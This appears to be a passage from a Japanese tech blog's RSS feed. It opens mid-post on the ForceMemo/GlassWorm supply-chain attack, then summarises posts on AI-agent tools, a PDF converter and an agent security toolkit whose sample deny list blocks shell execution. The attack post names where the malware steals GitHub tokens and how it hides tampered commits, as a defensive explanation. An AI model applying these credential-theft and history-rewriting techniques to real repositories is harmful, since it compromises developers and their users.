&lt;li&gt;&lt;strong&gt;コードの改ざん&lt;/strong&gt; — 侵害したアカウントで &lt;code&gt;setup.py&lt;/code&gt;、&lt;code&gt;main.py&lt;/code&gt;、&lt;code&gt;app.py&lt;/code&gt;、&lt;code&gt;manage.py&lt;/code&gt; 等に難読化されたマルウェアを注入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;痕跡の隠蔽&lt;/strong&gt; — force-push でコミット履歴を書き換え、タイムスタンプを維持することで改ざんを検知困難に&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C2 通信&lt;/strong&gt; — Solana ブロックチェーンのメモ機能を使ったコマンド＆コントロール通信&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="glassworm-による初期侵入"&gt;GlassWorm による初期侵入&lt;/h2&gt;
&lt;p&gt;攻撃の起点となる GlassWorm は情報窃取型マルウェアで、VS Code および Cursor の拡張機能を経由して感染します。窃取対象となる GitHub トークンの格納先は多岐にわたります:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VS Code / Cursor 拡張機能のストレージ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git credential fill&lt;/code&gt; の出力&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.git-credentials&lt;/code&gt; ファイル&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GITHUB_TOKEN&lt;/code&gt; 環境変数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;窃取されたトークンを使って正規のアカウントとしてリポジトリにアクセスし、コードを改ざんします。&lt;/p&gt;
&lt;h2 id="force-push-による履歴改ざん"&gt;force-push による履歴改ざん&lt;/h2&gt;
&lt;p&gt;通常のコミットであれば &lt;code&gt;git log&lt;/code&gt; で変更履歴を追跡できますが、ForceMemo は force-push を使ってコミット履歴自体を書き換えます。さらにタイムスタンプも維持するため、リポジトリのメンテナーやユーザーが改ざんに気づきにくい構造になっています。&lt;/p&gt;</description></item><item><title>agent-skill-bus: AIエージェントのスキル劣化を自動検知・修復するOSSランタイム</title><link>https://hdknr.github.io/blogs/posts/2026/03/agent-skill-bus-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%AB%E5%8A%A3%E5%8C%96%E3%82%92%E8%87%AA%E5%8B%95%E6%A4%9C%E7%9F%A5%E4%BF%AE%E5%BE%A9%E3%81%99%E3%82%8Boss%E3%83%A9%E3%83%B3%E3%82%BF%E3%82%A4%E3%83%A0/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/agent-skill-bus-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%AB%E5%8A%A3%E5%8C%96%E3%82%92%E8%87%AA%E5%8B%95%E6%A4%9C%E7%9F%A5%E4%BF%AE%E5%BE%A9%E3%81%99%E3%82%8Boss%E3%83%A9%E3%83%B3%E3%82%BF%E3%82%A4%E3%83%A0/</guid><description>42体のAIエージェント運用から生まれたOSS agent-skill-bus の紹介。スキルの劣化検知、DAGベースのタスクキュー、自己改善ループの3モジュール構成で、エージェントスキルの健全性を自動管理する。</description></item><item><title>OpenDataLoader PDF — CPUだけで毎秒100ページ、PDFをMarkdownに超高速変換するOSSツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/opendataloader-pdf-cpu%E3%81%A0%E3%81%91%E3%81%A7%E6%AF%8E%E7%A7%92100%E3%83%9A%E3%83%BC%E3%82%B8pdf%E3%82%92markdown%E3%81%AB%E8%B6%85%E9%AB%98%E9%80%9F%E5%A4%89%E6%8F%9B%E3%81%99%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/opendataloader-pdf-cpu%E3%81%A0%E3%81%91%E3%81%A7%E6%AF%8E%E7%A7%92100%E3%83%9A%E3%83%BC%E3%82%B8pdf%E3%82%92markdown%E3%81%AB%E8%B6%85%E9%AB%98%E9%80%9F%E5%A4%89%E6%8F%9B%E3%81%99%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;p&gt;GPUなしで毎秒100ページ以上のPDF→Markdown変換を実現するオープンソースツール「OpenDataLoader PDF」が話題になっている。Apache 2.0ライセンスで完全無料、CPUのみで動作するため、高価なGPUハードウェアは不要だ。&lt;/p&gt;
&lt;h2 id="opendataloader-pdf-とは"&gt;OpenDataLoader PDF とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/opendataloader-project/opendataloader-pdf"&gt;OpenDataLoader PDF&lt;/a&gt; は、PDFドキュメントをAI活用に適した構造化データ（Markdown、JSON、HTML等）に変換するオープンソースのパーサーだ。Java で実装されており、Python・Node.js・Java から利用できる。&lt;/p&gt;
&lt;p&gt;主な特徴:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;超高速処理&lt;/strong&gt;: ローカルモードで 0.05秒/ページ（CPUのみ）、8コア以上のマシンでマルチプロセスバッチ処理すると毎秒100ページ以上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPU不要&lt;/strong&gt;: CPUだけで高速に動作するため、導入コストが低い&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高精度&lt;/strong&gt;: ベンチマークで総合精度0.90を達成し、読み順・テーブル・見出し抽出で1位&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apache 2.0ライセンス&lt;/strong&gt;: 商用利用可能な完全オープンソース&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール"&gt;インストール&lt;/h2&gt;
&lt;p&gt;Python パッケージは Java CLI のラッパーのため、&lt;strong&gt;Java 11以上&lt;/strong&gt;と&lt;strong&gt;Python 3.10以上&lt;/strong&gt;が必要だ。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Python&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install -U opendataloader-pdf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Node.js&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm install @opendataloader/pdf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Java の場合は Maven で &lt;code&gt;opendataloader-pdf-core&lt;/code&gt; を依存関係に追加する。&lt;/p&gt;
&lt;h2 id="基本的な使い方"&gt;基本的な使い方&lt;/h2&gt;
&lt;h3 id="python-でのシンプルな変換"&gt;Python でのシンプルな変換&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; opendataloader_pdf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;opendataloader_pdf&lt;span style="color:#f92672"&gt;.&lt;/span&gt;convert(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; input_path&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;file1.pdf&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;file2.pdf&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;folder/&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; output_dir&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;output/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; format&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;markdown,json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;フォルダを指定すれば一括変換も可能だ。出力形式は Markdown、JSON、HTML、プレーンテキスト、注釈付きPDFから選べる。&lt;/p&gt;</description></item><item><title>OpenClawスキルの厳選コレクション — AIエージェントを即戦力にするスキル集</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AE%E5%8E%B3%E9%81%B8%E3%82%B3%E3%83%AC%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%8D%B3%E6%88%A6%E5%8A%9B%E3%81%AB%E3%81%99%E3%82%8B%E3%82%B9%E3%82%AD%E3%83%AB%E9%9B%86/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AE%E5%8E%B3%E9%81%B8%E3%82%B3%E3%83%AC%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%8D%B3%E6%88%A6%E5%8A%9B%E3%81%AB%E3%81%99%E3%82%8B%E3%82%B9%E3%82%AD%E3%83%AB%E9%9B%86/</guid><description>&lt;p&gt;OpenClawのスキルエコシステムが急速に拡大しています。公式レジストリ「ClawHub」には13,000以上のコミュニティ製スキルが登録されていますが、その中から厳選・カテゴリ整理されたコレクションが公開され、注目を集めています。&lt;/p&gt;
&lt;h2 id="openclawスキルとは"&gt;OpenClawスキルとは&lt;/h2&gt;
&lt;p&gt;OpenClawはローカルで動作するAIアシスタントです。「スキル」は外部サービスとの連携やワークフローの自動化を実現する拡張機能で、インストールするだけでエージェントの能力を大幅に拡張できます。&lt;/p&gt;
&lt;h2 id="注目のスキルコレクション"&gt;注目のスキルコレクション&lt;/h2&gt;
&lt;h3 id="awesome-openclaw-skillsvoltagent"&gt;awesome-openclaw-skills（VoltAgent）&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/VoltAgent/awesome-openclaw-skills"&gt;VoltAgent/awesome-openclaw-skills&lt;/a&gt; は、ClawHubの13,729スキルからスパム・重複・低品質なものを除外し、&lt;strong&gt;5,366スキル&lt;/strong&gt;を厳選したAwesomeリストです。GitHub スター数は37,000超。&lt;/p&gt;
&lt;p&gt;主なカテゴリ:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;カテゴリ&lt;/th&gt;
&lt;th&gt;スキル数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Coding Agents &amp;amp; IDEs&lt;/td&gt;
&lt;td&gt;1,222&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web &amp;amp; Frontend Development&lt;/td&gt;
&lt;td&gt;938&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DevOps &amp;amp; Cloud&lt;/td&gt;
&lt;td&gt;409&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Search &amp;amp; Research&lt;/td&gt;
&lt;td&gt;352&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Browser &amp;amp; Automation&lt;/td&gt;
&lt;td&gt;335&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Productivity &amp;amp; Tasks&lt;/td&gt;
&lt;td&gt;206&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI &amp;amp; LLMs&lt;/td&gt;
&lt;td&gt;197&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Git &amp;amp; GitHub&lt;/td&gt;
&lt;td&gt;170&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="openclaw-master-skillsleoyeai"&gt;openclaw-master-skills（LeoYeAI）&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/LeoYeAI/openclaw-master-skills"&gt;LeoYeAI/openclaw-master-skills&lt;/a&gt; は、MyClaw.aiが毎週更新する&lt;strong&gt;339+スキル&lt;/strong&gt;の厳選コレクションです。AI、生産性、開発、マーケティング、金融など幅広いカテゴリをカバーしています。&lt;/p&gt;
&lt;h2 id="カテゴリ別おすすめスキル"&gt;カテゴリ別おすすめスキル&lt;/h2&gt;
&lt;h3 id="aiツール連携"&gt;AIツール連携&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Slack&lt;/strong&gt;: リアルタイムメッセージの送受信、チャンネル管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notion&lt;/strong&gt;: ページの同期・ナレッジ管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outlook&lt;/strong&gt;: メール操作・カレンダー連携&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linear / Trello&lt;/strong&gt;: タスク管理・プロジェクト進捗の追跡&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1Password&lt;/strong&gt;: シークレット管理・セキュリティ連携&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="devops自動化"&gt;DevOps自動化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker&lt;/strong&gt;: コンテナのビルド・管理・デプロイ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git&lt;/strong&gt;: ブランチ管理、コミット履歴の操作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub CLI&lt;/strong&gt;: Issue・PR の操作、リリース管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;n8n&lt;/strong&gt;: ワークフロー自動化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expo CI/CD&lt;/strong&gt;: モバイルアプリのビルド・デプロイ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="web自動化"&gt;Web自動化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Playwright&lt;/strong&gt;: フォーム入力、データ抽出、ブラウザ操作&lt;/li&gt;
&lt;li&gt;AIによるWebタスクの自動化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="生産性向上"&gt;生産性向上&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Todoist / Things 3&lt;/strong&gt;: タスク管理&lt;/li&gt;
&lt;li&gt;カレンダー同期&lt;/li&gt;
&lt;li&gt;ドキュメント処理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="開発パターン"&gt;開発パターン&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Next.js&lt;/strong&gt;: 実装パターン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;React&lt;/strong&gt;: 状態管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt;: バックエンドパターン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;REST / GraphQL&lt;/strong&gt;: API設計&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL&lt;/strong&gt;: データベース操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="スキルのインストール方法"&gt;スキルのインストール方法&lt;/h2&gt;
&lt;p&gt;ClawHub CLIを使ったインストール:&lt;/p&gt;</description></item><item><title>Microsoft Agent Governance Toolkit：AIエージェントのセキュリティを4つの柱で守るOSSツールキット</title><link>https://hdknr.github.io/blogs/posts/2026/03/microsoft-agent-governance-toolkitai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%924%E3%81%A4%E3%81%AE%E6%9F%B1%E3%81%A7%E5%AE%88%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB%E3%82%AD%E3%83%83%E3%83%88/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/microsoft-agent-governance-toolkitai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%924%E3%81%A4%E3%81%AE%E6%9F%B1%E3%81%A7%E5%AE%88%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB%E3%82%AD%E3%83%83%E3%83%88/</guid><description>&lt;p&gt;Microsoft がオープンソースで公開した &lt;a href="https://github.com/microsoft/agent-governance-toolkit"&gt;Agent Governance Toolkit&lt;/a&gt; は、自律型 AI エージェントに欠けていたセキュリティレイヤーを提供するツールキットだ。ポリシー強制、ゼロトラスト ID、実行サンドボックス、信頼性エンジニアリングの4つの柱で、OWASP Agentic Top 10 の全10項目のリスクをカバーする。&lt;/p&gt;
&lt;h2 id="背景なぜ-ai-エージェントにガバナンスが必要か"&gt;背景：なぜ AI エージェントにガバナンスが必要か&lt;/h2&gt;
&lt;p&gt;AI エージェントが自律的にツールを呼び出し、ファイルを操作し、外部 API と通信する時代になった。しかし、その自律性にはリスクが伴う。意図しないゴールの書き換え、過剰な権限の付与、エージェント間通信の改ざん、カスケード障害など、従来の Web アプリケーションとは異なるセキュリティ課題がある。&lt;/p&gt;
&lt;p&gt;OWASP は「Agentic Top 10」として AI エージェント特有のリスクを定義しており、Agent Governance Toolkit はこの全10項目に対応している。&lt;/p&gt;
&lt;h2 id="4つの柱"&gt;4つの柱&lt;/h2&gt;
&lt;h3 id="1-policy-engineポリシーエンジン"&gt;1. Policy Engine（ポリシーエンジン）&lt;/h3&gt;
&lt;p&gt;すべてのエージェントアクションを実行前に評価し、許可・拒否を判定する。サブミリ秒（0.1ms 未満）のレイテンシで動作するため、エージェントの応答速度に影響を与えない。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; agent_governance_toolkit &lt;span style="color:#f92672"&gt;import&lt;/span&gt; CapabilityModel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;capabilities &lt;span style="color:#f92672"&gt;=&lt;/span&gt; CapabilityModel(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; allowed_tools&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;web_search&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;file_read&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; denied_tools&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;file_write&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;shell_exec&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;許可するツールと拒否するツールを明示的に定義し、エージェントが意図しない操作を行うことを防ぐ。&lt;/p&gt;</description></item><item><title>OpenClaw で保有銘柄の情報収集を完全自動化する — 決算通知・株価アラート・ニュース収集の実装例</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7%E4%BF%9D%E6%9C%89%E9%8A%98%E6%9F%84%E3%81%AE%E6%83%85%E5%A0%B1%E5%8F%8E%E9%9B%86%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B-%E6%B1%BA%E7%AE%97%E9%80%9A%E7%9F%A5%E6%A0%AA%E4%BE%A1%E3%82%A2%E3%83%A9%E3%83%BC%E3%83%88%E3%83%8B%E3%83%A5%E3%83%BC%E3%82%B9%E5%8F%8E%E9%9B%86%E3%81%AE%E5%AE%9F%E8%A3%85%E4%BE%8B/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7%E4%BF%9D%E6%9C%89%E9%8A%98%E6%9F%84%E3%81%AE%E6%83%85%E5%A0%B1%E5%8F%8E%E9%9B%86%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B-%E6%B1%BA%E7%AE%97%E9%80%9A%E7%9F%A5%E6%A0%AA%E4%BE%A1%E3%82%A2%E3%83%A9%E3%83%BC%E3%83%88%E3%83%8B%E3%83%A5%E3%83%BC%E3%82%B9%E5%8F%8E%E9%9B%86%E3%81%AE%E5%AE%9F%E8%A3%85%E4%BE%8B/</guid><description>&lt;p&gt;オープンソースの AI エージェント基盤 &lt;strong&gt;OpenClaw&lt;/strong&gt; を使って、保有銘柄の株価アラート・決算通知・ニュース収集を自動化した実装事例を紹介します。Zenn の実践記事を元に、設計思想と実装パターンを整理しました。&lt;/p&gt;
&lt;h2 id="個人投資家が抱える情報収集の課題"&gt;個人投資家が抱える情報収集の課題&lt;/h2&gt;
&lt;p&gt;趣味で株式投資をしていると、以下の問題に直面します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;受動的な情報取得&lt;/strong&gt; — 自分で証券アプリを開いて確認する必要があり、変動への気付きが遅れる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情報の分散&lt;/strong&gt; — 株価、ニュース、決算情報が異なるサービスに散在&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文脈の欠如&lt;/strong&gt; — 「株価が3%下がった」という事実だけでは理由がわからない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手動メンテナンス&lt;/strong&gt; — 新規銘柄追加時に各サービスへの個別登録が必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="なぜ-openclaw-が向いているか"&gt;なぜ OpenClaw が向いているか&lt;/h2&gt;
&lt;p&gt;OpenClaw は Peter Steinberger 氏が開発したオープンソースの AI エージェント基盤です。以下の特徴が情報収集の自動化に適しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;常時起動・定期実行&lt;/strong&gt; — クラウド上で 24 時間稼働し、cron スケジューラーで定期タスクを実行できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLM による文脈理解&lt;/strong&gt; — 単純なアラートと異なり、「何が起きたか」だけでなく「なぜ起きたか」まで Web 検索で調べて報告できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;柔軟な報告内容&lt;/strong&gt; — 自然言語でプロンプトに指示を書くだけで報告フォーマットをカスタマイズできる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="アーキテクチャ全体像"&gt;アーキテクチャ全体像&lt;/h2&gt;
&lt;p&gt;設計の核は &lt;strong&gt;Single Source of Truth（信頼できる唯一の情報源）&lt;/strong&gt; です。&lt;/p&gt;
